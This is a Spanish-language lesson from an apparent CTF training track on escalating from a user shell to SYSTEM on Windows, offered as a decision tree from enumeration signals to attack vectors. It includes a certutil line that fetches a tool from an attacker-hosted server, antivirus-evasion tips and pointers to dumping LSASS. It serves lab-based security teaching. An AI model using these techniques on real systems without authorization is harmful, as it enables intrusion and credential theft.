Track Windows  /  Teoría
02 De usuario a SYSTEM · El método

Escalada local: el método

Tienes un shell de usuario. El objetivo es SYSTEM (o Administrator elevado). No es magia ni suerte: es un árbol de decisión. Este módulo te da el mapa que conecta 'lo que ves al enumerar' con 'el vector que explotas', y cada rama tiene su módulo y su máquina.

🧭El método universal (sirve para TODO vector)

1
Enumera
automático (winPEAS/PowerUp) + manual (whoami /priv, sc, schtasks, icacls).
2
Encuentra la mala config
algo que un proceso privilegiado usa y que TÚ puedes influir (escribir, reemplazar, suplantar).
3
Abusa limpio
coloca tu payload, dispara el gatillo (reinicio de servicio, tarea, login) y recoge tu shell de SYSTEM.
4
Verifica
whoami -> nt authority\system. Lee la flag de root/SYSTEM y envíala.

Siempre es lo mismo: alguien con más poder confía en algo que tú controlas.

🌳El árbol de decisión (señal -> vector -> módulo)

Al enumerar vas a ver señales. Cada una apunta a un vector concreto:

whoami /priv tiene SeImpersonatefamilia POTATO -> SYSTEM. Módulo POTATO.
whoami /priv tiene SeBackup/SeRestore/SeTakeOwnership/SeDebugabuso de privilegios de token. Módulo Tokens.
un servicio con binPath raro / permisos débilesservicios inseguros. Módulo Servicios.
una carpeta del PATH escribible / una DLL ausentepath/DLL hijacking. Módulo Hijacking.
una tarea programada que corre un script escribibletareas/autoruns. Módulo Tareas.
AlwaysInstallElevated = 1 / credenciales en el registroinstaladores/registro. Módulo Instaladores.
puedo leer la SAM / dumpear LSASSrobo de credenciales. Módulo Credenciales.
soy admin pero en Medium (UAC)UAC bypass y otros. Módulo UAC/otros.

🔧Preparar el terreno

  • Shell estable: si tienes una reverse shell cruda, mejora a meterpreter o a una PowerShell interactiva.
  • Transferir herramientas: servidor en tu Kali (python3 -m http.server o impacket-smbserver) y descarga con certutil -urlcache -f http://IP/winpeas.exe wp.exe o iwr en PowerShell.
  • AV: Defender puede borrar tus tools. Renómbralas, usa versiones .bat, o enumera a mano. En lab suele estar relajado.
  • Arquitectura: usa binarios x64 si el Windows es x64 (casi siempre). Mezclar 32/64 da fallos raros.
"Tengo el vector pero mi shell se cae al explotar"
Las reverse shells crudas mueren fácil. Usa una más estable (meterpreter, nc estable) o lanza el exploit que te devuelva una shell NUEVA de SYSTEM a otro listener.
"Escalé pero sigo en Medium integrity"
Pasaste a admin pero no a High/SYSTEM. Si necesitas SYSTEM real, combina con un Potato o un UAC bypass según el caso.
🔎 No memorices comandos. Ten el Arsenal abierto en otra pestaña y busca ahí el comando exacto cuando lo necesites. Entiende el POR QUÉ aquí; el COMANDO lo copias del Arsenal.
Abrir Arsenal